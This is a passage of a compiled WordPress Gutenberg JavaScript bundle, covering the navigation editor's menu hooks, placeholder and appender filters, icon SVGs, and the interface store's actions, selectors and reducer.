https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore * * @type {Object} */ const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, { reducer: reducer, selectors: selectors_namespaceObject, resolvers: resolvers_namespaceObject, actions: actions_namespaceObject }); (0,external_wp_data_namespaceObject.register)(store); ;// CONCATENATED MODULE: ./node_modules/@babel/runtime/helpers/esm/extends.js function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } ;// CONCATENATED MODULE: external ["wp","hooks"] const external_wp_hooks_namespaceObject = window["wp"]["hooks"]; ;// CONCATENATED MODULE: external ["wp","compose"] const external_wp_compose_namespaceObject = window["wp"]["compose"]; ;// CONCATENATED MODULE: external ["wp","blockEditor"] const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"]; ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/filters/add-navigation-editor-custom-appender.js /** * WordPress dependencies */ function CustomAppender() { return (0,external_wp_element_namespaceObject.createElement)(external_wp_blockEditor_namespaceObject.InnerBlocks.ButtonBlockAppender, { isToggle: true }); } function EnhancedNavigationBlock(_ref) { let { blockEdit: BlockEdit, ...props } = _ref; const clientId = props.clientId; const { noBlockSelected, isSelected, isImmediateParentOfSelectedBlock, selectedBlockHasDescendants } = (0,external_wp_data_namespaceObject.useSelect)(select => { var _getClientIdsOfDescen; const { getClientIdsOfDescendants, hasSelectedInnerBlock, getSelectedBlockClientId } = select(external_wp_blockEditor_namespaceObject.store); const _isImmediateParentOfSelectedBlock = hasSelectedInnerBlock(clientId, false); const selectedBlockId = getSelectedBlockClientId(); const _selectedBlockHasDescendants = !!((_getClientIdsOfDescen = getClientIdsOfDescendants([selectedBlockId])) !== null && _getClientIdsOfDescen !== void 0 && _getClientIdsOfDescen.length); return { isSelected: selectedBlockId === clientId, noBlockSelected: !selectedBlockId, isImmediateParentOfSelectedBlock: _isImmediateParentOfSelectedBlock, selectedBlockHasDescendants: _selectedBlockHasDescendants }; }, [clientId]); const customAppender = noBlockSelected || isSelected || isImmediateParentOfSelectedBlock && !selectedBlockHasDescendants ? CustomAppender : false; return (0,external_wp_element_namespaceObject.createElement)(BlockEdit, _extends({}, props, { customAppender: customAppender })); } const addNavigationEditorCustomAppender = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(BlockEdit => props => { if (props.name !== 'core/navigation') { return (0,external_wp_element_namespaceObject.createElement)(BlockEdit, props); } // Use a separate component so that `useSelect` only run on the navigation block. return (0,external_wp_element_namespaceObject.createElement)(EnhancedNavigationBlock, _extends({ blockEdit: BlockEdit }, props)); }, 'withNavigationEditorCustomAppender'); /* harmony default export */ const add_navigation_editor_custom_appender = (() => (0,external_wp_hooks_namespaceObject.addFilter)('editor.BlockEdit', 'core/edit-navigation/with-navigation-editor-custom-appender', addNavigationEditorCustomAppender)); ;// CONCATENATED MODULE: external ["wp","components"] const external_wp_components_namespaceObject = window["wp"]["components"]; ;// CONCATENATED MODULE: external ["wp","primitives"] const external_wp_primitives_namespaceObject = window["wp"]["primitives"]; ;// CONCATENATED MODULE: ./packages/icons/build-module/library/chevron-down.js /** * WordPress dependencies */ const chevronDown = (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.Path, { d: "M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z" })); /* harmony default export */ const chevron_down = (chevronDown); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/hooks/use-menu-entity.js /** * WordPress dependencies */ /** * Internal dependencies */ function useMenuEntity(menuId) { const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store); const menuEntityData = [MENU_KIND, MENU_POST_TYPE, menuId]; const { editedMenu, hasLoadedEditedMenu } = (0,external_wp_data_namespaceObject.useSelect)(select => { return { editedMenu: menuId && select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(...menuEntityData), hasLoadedEditedMenu: select(external_wp_coreData_namespaceObject.store).hasFinishedResolution('getEditedEntityRecord', [...menuEntityData]) }; }, [menuId]); return { editedMenu, menuEntityData, editMenuEntityRecord: editEntityRecord, hasLoadedEditedMenu }; } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/hooks/use-menu-entity-prop.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Returns the value and setter for the specified * property of the menu. * * @param {string} prop A Property name. * @param {string} menuId A menu ID. * * @return {[*, Function]} A tuple where the first item is the * property value and the second is the * setter. */ function useMenuEntityProp(prop, menuId) { return (0,external_wp_coreData_namespaceObject.useEntityProp)(MENU_KIND, MENU_POST_TYPE, prop, menuId); } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/hooks/use-navigation-editor.js /** * WordPress dependencies */ /** * Internal dependencies */ const getMenusData = select => { const selectors = select('core'); const params = { per_page: -1 }; return { menus: selectors.getMenus(params), hasLoadedMenus: selectors.hasFinishedResolution('getMenus', [params]) }; }; function useNavigationEditor() { var _menus$find; const { deleteMenu: _deleteMenu } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store); const [selectedMenuId, setSelectedMenuId] = useSelectedMenuId(); const [hasFinishedInitialLoad, setHasFinishedInitialLoad] = (0,external_wp_element_namespaceObject.useState)(false); const { editedMenu, hasLoadedEditedMenu } = useMenuEntity(selectedMenuId); const { menus, hasLoadedMenus } = (0,external_wp_data_namespaceObject.useSelect)(getMenusData, []); /** * If the Menu being edited has been requested from API and it has * no values then it has been deleted so reset the selected menu ID. */ (0,external_wp_element_namespaceObject.useEffect)(() => { var _Object$keys; if (hasLoadedEditedMenu && !((_Object$keys = Object.keys(editedMenu)) !== null && _Object$keys !== void 0 && _Object$keys.length)) { setSelectedMenuId(null); } }, [hasLoadedEditedMenu, editedMenu]); const { createErrorNotice, createInfoNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store); const isMenuBeingDeleted = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).isDeletingEntityRecord('root', 'menu', selectedMenuId), [selectedMenuId]); const selectedMenuName = (menus === null || menus === void 0 ? void 0 : (_menus$find = menus.find(_ref => { let { id } = _ref; return id === selectedMenuId; })) === null || _menus$find === void 0 ? void 0 : _menus$find.name) || ''; (0,external_wp_element_namespaceObject.useEffect)(() => { if (hasLoadedMenus) { setHasFinishedInitialLoad(true); } }, [hasLoadedMenus]); const navigationPost = (0,external_wp_data_namespaceObject.useSelect)(select => { if (!selectedMenuId) { return; } return select(store).getNavigationPostForMenu(selectedMenuId); }, [selectedMenuId]); const deleteMenu = async () => { const didDeleteMenu = await _deleteMenu(selectedMenuId, { force: true }); if (didDeleteMenu) { setSelectedMenuId(null); createInfoNotice((0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: the name of a menu. (0,external_wp_i18n_namespaceObject.__)('"%s" menu has been deleted'), selectedMenuName), { type: 'snackbar', isDismissible: true }); } else { createErrorNotice((0,external_wp_i18n_namespaceObject.__)('Menu deletion unsuccessful')); } }; return { menus, hasLoadedMenus, hasFinishedInitialLoad, selectedMenuId, navigationPost, isMenuBeingDeleted, selectMenu: setSelectedMenuId, deleteMenu, isMenuSelected: !!selectedMenuId }; } ;// CONCATENATED MODULE: external ["wp","dom"] const external_wp_dom_namespaceObject = window["wp"]["dom"]; ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/hooks/use-menu-notifications.js /** * WordPress dependencies */ /** * Internal dependencies */ function useMenuNotifications(menuId) { const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store); const lastDeleteError = (0,external_wp_data_namespaceObject.useSelect)(select => { return select(external_wp_coreData_namespaceObject.store).getLastEntityDeleteError(MENU_KIND, MENU_POST_TYPE, menuId); }, [menuId]); (0,external_wp_element_namespaceObject.useEffect)(() => { if (lastDeleteError) { createErrorNotice((0,external_wp_dom_namespaceObject.__unstableStripHTML)(lastDeleteError === null || lastDeleteError === void 0 ? void 0 : lastDeleteError.message), { id: 'edit-navigation-error' }); } }, [lastDeleteError]); } ;// CONCATENATED MODULE: external ["wp","preferences"] const external_wp_preferences_namespaceObject = window["wp"]["preferences"]; ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/hooks/use-selected-menu-id.js /** * WordPress dependencies */ /** * Returns selected menu ID and the setter. * * @return {[number, Function]} A tuple where first item is the * selected menu ID and second is * the setter. */ function useSelectedMenuId() { var _useSelect; const selectedMenuId = (_useSelect = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_preferences_namespaceObject.store).get('core/edit-navigation', 'selectedMenuId'), [])) !== null && _useSelect !== void 0 ? _useSelect : null; const { set } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store); const setSelectedMenuId = (0,external_wp_element_namespaceObject.useCallback)(menuId => set('core/edit-navigation', 'selectedMenuId', menuId), [set]); return [selectedMenuId, setSelectedMenuId]; } ;// CONCATENATED MODULE: external ["wp","apiFetch"] const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"]; var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/hooks/use-menu-locations.js /** * WordPress dependencies */ /** * External dependencies */ /** * Internal dependencies */ const locationsForMenuId = (menuLocationsByName, id) => Object.values(menuLocationsByName).filter(_ref => { let { menu } = _ref; return menu === id; }).map(_ref2 => { let { name } = _ref2; return name; }); function useMenuLocations() { const [menuLocationsByName, setMenuLocationsByName] = (0,external_wp_element_namespaceObject.useState)(null); const [menuId] = useSelectedMenuId(); const { editMenuEntityRecord, menuEntityData } = useMenuEntity(menuId); (0,external_wp_element_namespaceObject.useEffect)(() => { let isMounted = true; const fetchMenuLocationsByName = async () => { const newMenuLocationsByName = await external_wp_apiFetch_default()({ method: 'GET', path: '/wp/v2/menu-locations' }); if (isMounted) { setMenuLocationsByName(newMenuLocationsByName); } }; fetchMenuLocationsByName(); return () => isMounted = false; }, []); const assignMenuToLocation = (0,external_wp_element_namespaceObject.useCallback)(async (locationName, newMenuId) => { const oldMenuId = menuLocationsByName[locationName].menu; const newMenuLocationsByName = (0,external_lodash_namespaceObject.merge)(menuLocationsByName, { [locationName]: { menu: newMenuId } }); setMenuLocationsByName(newMenuLocationsByName); const activeMenuId = newMenuId || oldMenuId; editMenuEntityRecord(...menuEntityData, { locations: locationsForMenuId(newMenuLocationsByName, activeMenuId) }); }, [menuLocationsByName]); const toggleMenuLocationAssignment = (locationName, newMenuId) => { const idToSet = menuLocationsByName[locationName].menu === newMenuId ? 0 : newMenuId; assignMenuToLocation(locationName, idToSet); }; const menuLocations = (0,external_wp_element_namespaceObject.useMemo)(() => Object.values(menuLocationsByName || {}), [menuLocationsByName]); return { menuLocations, assignMenuToLocation, toggleMenuLocationAssignment }; } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/hooks/use-navigation-editor-root-block.js /** * WordPress dependencies */ /** * Internal dependencies */ const useNavigationEditorRootBlock = () => { return (0,external_wp_data_namespaceObject.useSelect)(select => { const { getBlockOrder } = select(external_wp_blockEditor_namespaceObject.store); const lockedNavigationBlock = getBlockOrder()[0]; return { navBlockClientId: lockedNavigationBlock, lastNavBlockItemIndex: getBlockOrder(lockedNavigationBlock).length }; }, []); }; /* harmony default export */ const use_navigation_editor_root_block = (useNavigationEditorRootBlock); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/hooks/index.js /** * WordPress dependencies */ const untitledMenu = (0,external_wp_i18n_namespaceObject.__)('(untitled menu)'); const IsMenuNameControlFocusedContext = (0,external_wp_element_namespaceObject.createContext)(); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/block-placeholder/use-navigation-entities.js /** * WordPress dependencies */ /** * @typedef {Object} NavigationEntitiesData * @property {Array|undefined} pages - a collection of WP Post entity objects of post type "Page". * @property {boolean} isResolvingPages - indicates whether the request to fetch pages is currently resolving. * @property {boolean} hasResolvedPages - indicates whether the request to fetch pages has finished resolving. * @property {Array|undefined} menus - a collection of Menu entity objects. * @property {boolean} isResolvingMenus - indicates whether the request to fetch menus is currently resolving. * @property {boolean} hasResolvedMenus - indicates whether the request to fetch menus has finished resolving. * @property {Array|undefined} menusItems - a collection of Menu Item entity objects for the current menuId. * @property {boolean} hasResolvedMenuItems - indicates whether the request to fetch menuItems has finished resolving. * @property {boolean} hasPages - indicates whether there is currently any data for pages. * @property {boolean} hasMenus - indicates whether there is currently any data for menus. */ /** * Manages fetching and resolution state for all entities required * for the Navigation block. * * @param {number} menuId the menu for which to retrieve menuItem data. * @return { NavigationEntitiesData } the entity data. */ function useNavigationEntities(menuId) { const { records: menus, isResolving: isResolvingMenus, hasResolved: hasResolvedMenus } = (0,external_wp_coreData_namespaceObject.useEntityRecords)('root', 'menu', [{ per_page: -1 }]); const { records: pages, isResolving: isResolvingPages, hasResolved: hasResolvedPages } = (0,external_wp_coreData_namespaceObject.useEntityRecords)('postType', 'page', { parent: 0, order: 'asc', orderby: 'id', per_page: -1 }); return { pages, isResolvingPages, hasResolvedPages, hasPages: !!(hasResolvedPages && pages !== null && pages !== void 0 && pages.length), menus, isResolvingMenus, hasResolvedMenus, hasMenus: !!(hasResolvedMenus && menus !== null && menus !== void 0 && menus.length), ...useMenuItemEntities(menuId) }; } function useMenuItemEntities(menuId) { const { menuItems, hasResolvedMenuItems = false } = (0,external_wp_data_namespaceObject.useSelect)(select => { if (!menuId) { return {}; } const { getMenuItems, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store); const query = { menus: menuId, per_page: -1 }; return { menuItems: getMenuItems(query), hasResolvedMenuItems: hasFinishedResolution('getMenuItems', [query]) }; }, [menuId]); return { menuItems, hasResolvedMenuItems }; } ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/components/block-placeholder/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Convert pages to blocks. * * @param {Object[]} pages An array of pages. * * @return {WPBlock[]} An array of blocks. */ function convertPagesToBlocks(pages) { if (!(pages !== null && pages !== void 0 && pages.length)) { return null; } return pages.map(_ref => { let { title, type, link: url, id } = _ref; return (0,external_wp_blocks_namespaceObject.createBlock)('core/navigation-link', { type, id, url, label: !title.rendered ? (0,external_wp_i18n_namespaceObject.__)('(no title)') : title.rendered, opensInNewTab: false }); }); } const TOGGLE_PROPS = { variant: 'tertiary' }; const POPOVER_PROPS = { position: 'bottom center' }; function BlockPlaceholder(_ref2, ref) { let { onCreate } = _ref2; const [selectedMenu, setSelectedMenu] = (0,external_wp_element_namespaceObject.useState)(); const [isCreatingFromMenu, setIsCreatingFromMenu] = (0,external_wp_element_namespaceObject.useState)(false); const [selectedMenuId] = useSelectedMenuId(); const [menuName] = useMenuEntityProp('name', selectedMenuId); const { isResolvingPages, menus, isResolvingMenus, menuItems, hasResolvedMenuItems, pages, hasPages, hasMenus } = useNavigationEntities(selectedMenu); const isLoading = isResolvingPages || isResolvingMenus; const createFromMenu = (0,external_wp_element_namespaceObject.useCallback)(() => { const { innerBlocks: blocks } = menuItemsToBlocks(menuItems); const selectNavigationBlock = true; onCreate(blocks, selectNavigationBlock); }, [menuItems, menuItemsToBlocks, onCreate]); const onCreateFromMenu = () => { // If we have menu items, create the block right away. if (hasResolvedMenuItems) { createFromMenu(); return; } // Otherwise, create the block when resolution finishes. setIsCreatingFromMenu(true); }; const onCreateEmptyMenu = () => { onCreate([]); }; const onCreateAllPages = () => { const blocks = convertPagesToBlocks(pages); const selectNavigationBlock = true; onCreate(blocks, selectNavigationBlock); }; (0,external_wp_element_namespaceObject.useEffect)(() => { // If the user selected a menu but we had to wait for menu items to // finish resolving, then create the block once resolution finishes. if (isCreatingFromMenu && hasResolvedMenuItems) { createFromMenu(); setIsCreatingFromMenu(false); } }, [isCreatingFromMenu, hasResolvedMenuItems]); const selectableMenus = menus === null || menus === void 0 ? void 0 : menus.filter(menu => menu.id !== selectedMenuId); const hasSelectableMenus = !!(selectableMenus !== null && selectableMenus !== void 0 && selectableMenus.length); return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Placeholder, { className: "edit-navigation-block-placeholder", label: menuName, instructions: (0,external_wp_i18n_namespaceObject.__)('This menu is empty. You can start blank and choose what to add,' + ' add your existing pages, or add the content of another menu.') }, (0,external_wp_element_namespaceObject.createElement)("div", { className: "edit-navigation-block-placeholder__controls" }, isLoading && (0,external_wp_element_namespaceObject.createElement)("div", { ref: ref }, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Spinner, null)), !isLoading && (0,external_wp_element_namespaceObject.createElement)("div", { ref: ref, className: "edit-navigation-block-placeholder__actions" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { variant: "tertiary", onClick: onCreateEmptyMenu }, (0,external_wp_i18n_namespaceObject.__)('Start blank')), hasPages ? (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.Button, { variant: hasMenus ? 'tertiary' : 'primary', onClick: onCreateAllPages }, (0,external_wp_i18n_namespaceObject.__)('Add all pages')) : undefined, hasSelectableMenus ? (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.DropdownMenu, { text: (0,external_wp_i18n_namespaceObject.__)('Copy existing menu'), icon: chevron_down, toggleProps: TOGGLE_PROPS, popoverProps: POPOVER_PROPS }, _ref3 => { let { onClose } = _ref3; return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.MenuGroup, null, selectableMenus.map(menu => { return (0,external_wp_element_namespaceObject.createElement)(external_wp_components_namespaceObject.MenuItem, { onClick: () => { setSelectedMenu(menu.id); onCreateFromMenu(); }, onClose: onClose, key: menu.id }, menu.name); })); }) : undefined))); } /* harmony default export */ const block_placeholder = ((0,external_wp_element_namespaceObject.forwardRef)(BlockPlaceholder)); ;// CONCATENATED MODULE: ./packages/edit-navigation/build-module/filters/add-navigation-editor-placeholder.js /** * WordPress dependencies */ /** * Internal dependencies */ const addNavigationEditorPlaceholder = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(BlockEdit => props => { if (props.name !== 'core/navigation') { return (0,external_wp_element_namespaceObject.createElement)(BlockEdit, props); } return (0,external_wp_element_namespaceObject.createElement)(BlockEdit, _extends({}, props, { customPlaceholder: block_placeholder })); }, 'withNavigationEditorPlaceholder'); /* harmony default export */ const add_navigation_editor_placeholder = (() => (0,external_wp_hooks_namespaceObject.addFilter)('editor.BlockEdit', 'core/edit-navigation/with-navigation-editor-placeholder', addNavigationEditorPlaceholder)); // EXTERNAL MODULE: ./node_modules/classnames/index.js var classnames = __webpack_require__(4403); var classnames_default = /*#__PURE__*/__webpack_require__.n(classnames); ;// CONCATENATED MODULE: ./packages/icons/build-module/library/check.js /** * WordPress dependencies */ const check = (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.Path, { d: "M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z" })); /* harmony default export */ const library_check = (check); ;// CONCATENATED MODULE: ./packages/icons/build-module/library/star-filled.js /** * WordPress dependencies */ const starFilled = (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.Path, { d: "M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z" })); /* harmony default export */ const star_filled = (starFilled); ;// CONCATENATED MODULE: ./packages/icons/build-module/library/star-empty.js /** * WordPress dependencies */ const starEmpty = (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.Path, { fillRule: "evenodd", d: "M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z", clipRule: "evenodd" })); /* harmony default export */ const star_empty = (starEmpty); ;// CONCATENATED MODULE: external ["wp","viewport"] const external_wp_viewport_namespaceObject = window["wp"]["viewport"]; ;// CONCATENATED MODULE: ./packages/icons/build-module/library/close-small.js /** * WordPress dependencies */ const closeSmall = (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24" }, (0,external_wp_element_namespaceObject.createElement)(external_wp_primitives_namespaceObject.Path, { d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z" })); /* harmony default export */ const close_small = (closeSmall); ;// CONCATENATED MODULE: external ["wp","deprecated"] const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"]; var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject); ;// CONCATENATED MODULE: ./packages/interface/build-module/store/actions.js /** * WordPress dependencies */ /** * Set a default complementary area. * * @param {string} scope Complementary area scope. * @param {string} area Area identifier. * * @return {Object} Action object. */ const setDefaultComplementaryArea = (scope, area) => ({ type: 'SET_DEFAULT_COMPLEMENTARY_AREA', scope, area }); /** * Enable the complementary area. * * @param {string} scope Complementary area scope. * @param {string} area Area identifier. */ const enableComplementaryArea = (scope, area) => _ref => { let { registry, dispatch } = _ref; // Return early if there's no area. if (!area) { return; } const isComplementaryAreaVisible = registry.select(external_wp_preferences_namespaceObject.store).get(scope, 'isComplementaryAreaVisible'); if (!isComplementaryAreaVisible) { registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, 'isComplementaryAreaVisible', true); } dispatch({ type: 'ENABLE_COMPLEMENTARY_AREA', scope, area }); }; /** * Disable the complementary area. * * @param {string} scope Complementary area scope. */ const disableComplementaryArea = scope => _ref2 => { let { registry } = _ref2; const isComplementaryAreaVisible = registry.select(external_wp_preferences_namespaceObject.store).get(scope, 'isComplementaryAreaVisible'); if (isComplementaryAreaVisible) { registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, 'isComplementaryAreaVisible', false); } }; /** * Pins an item. * * @param {string} scope Item scope. * @param {string} item Item identifier. * * @return {Object} Action object. */ const pinItem = (scope, item) => _ref3 => { let { registry } = _ref3; // Return early if there's no item. if (!item) { return; } const pinnedItems = registry.select(external_wp_preferences_namespaceObject.store).get(scope, 'pinnedItems'); // The item is already pinned, there's nothing to do. if ((pinnedItems === null || pinnedItems === void 0 ? void 0 : pinnedItems[item]) === true) { return; } registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, 'pinnedItems', { ...pinnedItems, [item]: true }); }; /** * Unpins an item. * * @param {string} scope Item scope. * @param {string} item Item identifier. */ const unpinItem = (scope, item) => _ref4 => { let { registry } = _ref4; // Return early if there's no item. if (!item) { return; } const pinnedItems = registry.select(external_wp_preferences_namespaceObject.store).get(scope, 'pinnedItems'); registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, 'pinnedItems', { ...pinnedItems, [item]: false }); }; /** * Returns an action object used in signalling that a feature should be toggled. * * @param {string} scope The feature scope (e.g. core/edit-post). * @param {string} featureName The feature name. */ function toggleFeature(scope, featureName) { return function (_ref5) { let { registry } = _ref5; external_wp_deprecated_default()(`dispatch( 'core/interface' ).toggleFeature`, { since: '6.0', alternative: `dispatch( 'core/preferences' ).toggle` }); registry.dispatch(external_wp_preferences_namespaceObject.store).toggle(scope, featureName); }; } /** * Returns an action object used in signalling that a feature should be set to * a true or false value * * @param {string} scope The feature scope (e.g. core/edit-post). * @param {string} featureName The feature name. * @param {boolean} value The value to set. * * @return {Object} Action object. */ function setFeatureValue(scope, featureName, value) { return function (_ref6) { let { registry } = _ref6; external_wp_deprecated_default()(`dispatch( 'core/interface' ).setFeatureValue`, { since: '6.0', alternative: `dispatch( 'core/preferences' ).set` }); registry.dispatch(external_wp_preferences_namespaceObject.store).set(scope, featureName, !!value); }; } /** * Returns an action object used in signalling that defaults should be set for features. * * @param {string} scope The feature scope (e.g. core/edit-post). * @param {Object<string, boolean>} defaults A key/value map of feature names to values. * * @return {Object} Action object. */ function setFeatureDefaults(scope, defaults) { return function (_ref7) { let { registry } = _ref7; external_wp_deprecated_default()(`dispatch( 'core/interface' ).setFeatureDefaults`, { since: '6.0', alternative: `dispatch( 'core/preferences' ).setDefaults` }); registry.dispatch(external_wp_preferences_namespaceObject.store).setDefaults(scope, defaults); }; } ;// CONCATENATED MODULE: ./packages/interface/build-module/store/selectors.js /** * WordPress dependencies */ /** * Returns the complementary area that is active in a given scope. * * @param {Object} state Global application state. * @param {string} scope Item scope. * * @return {string | null | undefined} The complementary area that is active in the given scope. */ const getActiveComplementaryArea = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, scope) => { var _state$complementaryA; const isComplementaryAreaVisible = select(external_wp_preferences_namespaceObject.store).get(scope, 'isComplementaryAreaVisible'); // Return `undefined` to indicate that the user has never toggled // visibility, this is the vanilla default. Other code relies on this // nuance in the return value. if (isComplementaryAreaVisible === undefined) { return undefined; } // Return `null` to indicate the user hid the complementary area. if (!isComplementaryAreaVisible) { return null; } return state === null || state === void 0 ? void 0 : (_state$complementaryA = state.complementaryAreas) === null || _state$complementaryA === void 0 ? void 0 : _state$complementaryA[scope]; }); /** * Returns a boolean indicating if an item is pinned or not. * * @param {Object} state Global application state. * @param {string} scope Scope. * @param {string} item Item to check. * * @return {boolean} True if the item is pinned and false otherwise. */ const isItemPinned = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, scope, item) => { var _pinnedItems$item; const pinnedItems = select(external_wp_preferences_namespaceObject.store).get(scope, 'pinnedItems'); return (_pinnedItems$item = pinnedItems === null || pinnedItems === void 0 ? void 0 : pinnedItems[item]) !== null && _pinnedItems$item !== void 0 ? _pinnedItems$item : true; }); /** * Returns a boolean indicating whether a feature is active for a particular * scope. * * @param {Object} state The store state. * @param {string} scope The scope of the feature (e.g. core/edit-post). * @param {string} featureName The name of the feature. * * @return {boolean} Is the feature enabled? */ const isFeatureActive = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, scope, featureName) => { external_wp_deprecated_default()(`select( 'core/interface' ).isFeatureActive( scope, featureName )`, { since: '6.0', alternative: `select( 'core/preferences' ).get( scope, featureName )` }); return !!select(external_wp_preferences_namespaceObject.store).get(scope, featureName); }); ;// CONCATENATED MODULE: ./packages/interface/build-module/store/reducer.js /** * WordPress dependencies */ function complementaryAreas() { let state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; let action = arguments.length > 1 ? arguments[1] : undefined; switch (action.type) { case 'SET_DEFAULT_COMPLEMENTARY_AREA': { const { scope, area } = action; // If there's already an area, don't overwrite it. if (state[scope]) { return state; } return { ...state, [scope]: area }; } case 'ENABLE_COMPLEMENTARY_AREA': { const { scope, area } = action; return { ...state, [scope]: area }; } } return state; } /* harmony default export */ const store_reducer = ((0,external_wp_data_namespaceObject.combineReducers)({ complementaryAreas })); ;// CONCATENATED MODULE: ./packages/interface/build-module/store/constants.js /** * The identifier for the data store. * * @type {string} */ const constants_STORE_NAME = 'core/interface'; ;// CONCATENATED MODULE: ./packages/interface/build-module/store/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Store definition for the interface namespace. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore * * @type {Object} */ const store_store = (0,external_wp_data_namespaceObject.createReduxStore)(constants_STORE_NAME, { reducer: store_reducer, actions: store_actions_namespaceObject, selectors: store_selectors_namespaceObject }); // Once we build a more generic persistence plugin that works across types of stores // we'd be able to replace this with a register call. (0,external_wp_data_namespaceObject.register)(store_store); ;// CONCATENATED MODULE: external ["wp","plugins"] const external_wp_plugins_namespaceObject = window["wp"]["plugins"]; ;// CONCATENATED MODULE: ./packages/interface/build-module/components/complementary-area-context/index.js /** * WordPress dependencies */ /* harmony default export */ const complementary_area_context = ((0,external_wp_plugins_namespaceObject.withPluginContext)((context, ownProps) => { return { icon: ownProps.icon || context.icon, identifier: ownProps.identifier || `${context.name}/${ownProps.name}` 